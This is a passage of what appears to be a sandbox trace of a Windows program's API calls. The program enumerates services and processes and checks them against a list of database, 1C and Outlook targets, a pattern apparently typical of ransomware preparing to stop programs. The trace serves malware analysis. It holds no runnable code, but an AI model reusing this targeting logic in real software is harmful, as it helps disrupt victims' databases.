returned -1 [0248.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0248.068] lstrlenW (lpString="Power") returned 5 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0248.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0248.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0248.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0248.069] lstrlenW (lpString="ProfSvc") returned 7 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0248.069] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0248.069] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0248.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0248.069] lstrlenW (lpString="RpcEptMapper") returned 12 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0248.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0248.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0248.069] lstrlenW (lpString="RpcSs") returned 5 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0248.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0248.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0248.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0248.069] lstrlenW (lpString="SamSs") returned 5 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0248.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0248.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0248.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0248.069] lstrlenW (lpString="Schedule") returned 8 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0248.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0248.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0248.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0248.069] lstrlenW (lpString="SENS") returned 4 [0248.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0248.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0248.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0248.070] lstrlenW (lpString="ShellHWDetection") returned 16 [0248.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0248.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0248.070] lstrlenW (lpString="Spooler") returned 7 [0248.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0248.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0248.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0248.070] lstrlenW (lpString="SysMain") returned 7 [0248.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0248.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0248.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0248.070] lstrlenW (lpString="Themes") returned 6 [0248.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0248.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0248.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0248.070] lstrlenW (lpString="TrkWks") returned 6 [0248.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0248.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0248.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0248.070] lstrlenW (lpString="UxSms") returned 5 [0248.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0248.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0248.070] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0248.070] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0248.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0248.071] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0248.071] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0248.072] Process32FirstW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.072] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.073] lstrlenW (lpString="System") returned 6 [0248.073] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0248.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0248.073] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0248.073] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0248.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0248.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0248.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0248.073] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.073] lstrlenW (lpString="smss.exe") returned 8 [0248.073] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0248.073] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.073] lstrlenW (lpString="csrss.exe") returned 9 [0248.073] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0248.073] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0248.074] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.074] lstrlenW (lpString="wininit.exe") returned 11 [0248.074] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0248.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0248.074] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0248.074] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0248.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0248.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0248.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0248.074] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.074] lstrlenW (lpString="csrss.exe") returned 9 [0248.074] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0248.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0248.074] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0248.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0248.075] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0248.075] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.075] lstrlenW (lpString="winlogon.exe") returned 12 [0248.075] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0248.075] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0248.075] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0248.075] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0248.075] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0248.075] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0248.075] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0248.075] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.075] lstrlenW (lpString="services.exe") returned 12 [0248.075] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0248.075] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0248.075] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0248.075] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0248.075] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0248.075] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0248.075] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0248.076] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.076] lstrlenW (lpString="lsass.exe") returned 9 [0248.076] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0248.076] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0248.076] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0248.076] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0248.076] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0248.076] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0248.076] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0248.076] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0248.076] lstrlenW (lpString="lsm.exe") returned 7 [0248.076] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0248.076] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0248.076] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0248.076] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0248.076] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0248.076] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0248.076] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0248.076] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.077] lstrlenW (lpString="svchost.exe") returned 11 [0248.077] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0248.077] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.077] lstrlenW (lpString="svchost.exe") returned 11 [0248.077] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0248.077] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0248.078] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.078] lstrlenW (lpString="svchost.exe") returned 11 [0248.078] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0248.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0248.078] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.078] lstrlenW (lpString="svchost.exe") returned 11 [0248.078] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.079] lstrlenW (lpString="svchost.exe") returned 11 [0248.079] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.079] lstrlenW (lpString="audiodg.exe") returned 11 [0248.079] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.079] lstrlenW (lpString="svchost.exe") returned 11 [0248.079] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.080] lstrlenW (lpString="svchost.exe") returned 11 [0248.080] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0248.080] lstrlenW (lpString="userinit.exe") returned 12 [0248.080] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.080] lstrlenW (lpString="dwm.exe") returned 7 [0248.080] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.081] lstrlenW (lpString="explorer.exe") returned 12 [0248.081] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.081] lstrlenW (lpString="spoolsv.exe") returned 11 [0248.081] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0248.081] lstrlenW (lpString="taskhost.exe") returned 12 [0248.081] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.081] lstrlenW (lpString="svchost.exe") returned 11 [0248.081] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0248.082] lstrlenW (lpString="uyuquk.exe") returned 10 [0248.082] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0248.082] lstrlenW (lpString="reader_sl.exe") returned 13 [0248.082] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0248.082] CloseHandle (hObject=0x388) returned 1 [0248.082] Sleep (dwMilliseconds=0x1f4) [0248.779] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aecd8 [0249.076] EnumServicesStatusExW (in: hSCManager=0x42aecd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0249.076] GetLastError () returned 0xea [0249.076] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x42e73a0 [0249.076] EnumServicesStatusExW (in: hSCManager=0x42aecd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0249.077] CloseServiceHandle (hSCObject=0x42aecd8) returned 1 [0249.077] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0249.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.077] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0249.077] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0249.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0249.077] lstrlenW (lpString="AudioSrv") returned 8 [0249.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0249.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0249.077] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0249.077] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0249.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0249.077] lstrlenW (lpString="BFE") returned 3 [0249.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0249.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0249.077] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0249.077] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0249.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0249.077] lstrlenW (lpString="CryptSvc") returned 8 [0249.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0249.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0249.077] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0249.077] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0249.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0249.077] lstrlenW (lpString="CscService") returned 10 [0249.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0249.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0249.077] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0249.077] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0249.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0249.077] lstrlenW (lpString="DcomLaunch") returned 10 [0249.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.078] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") 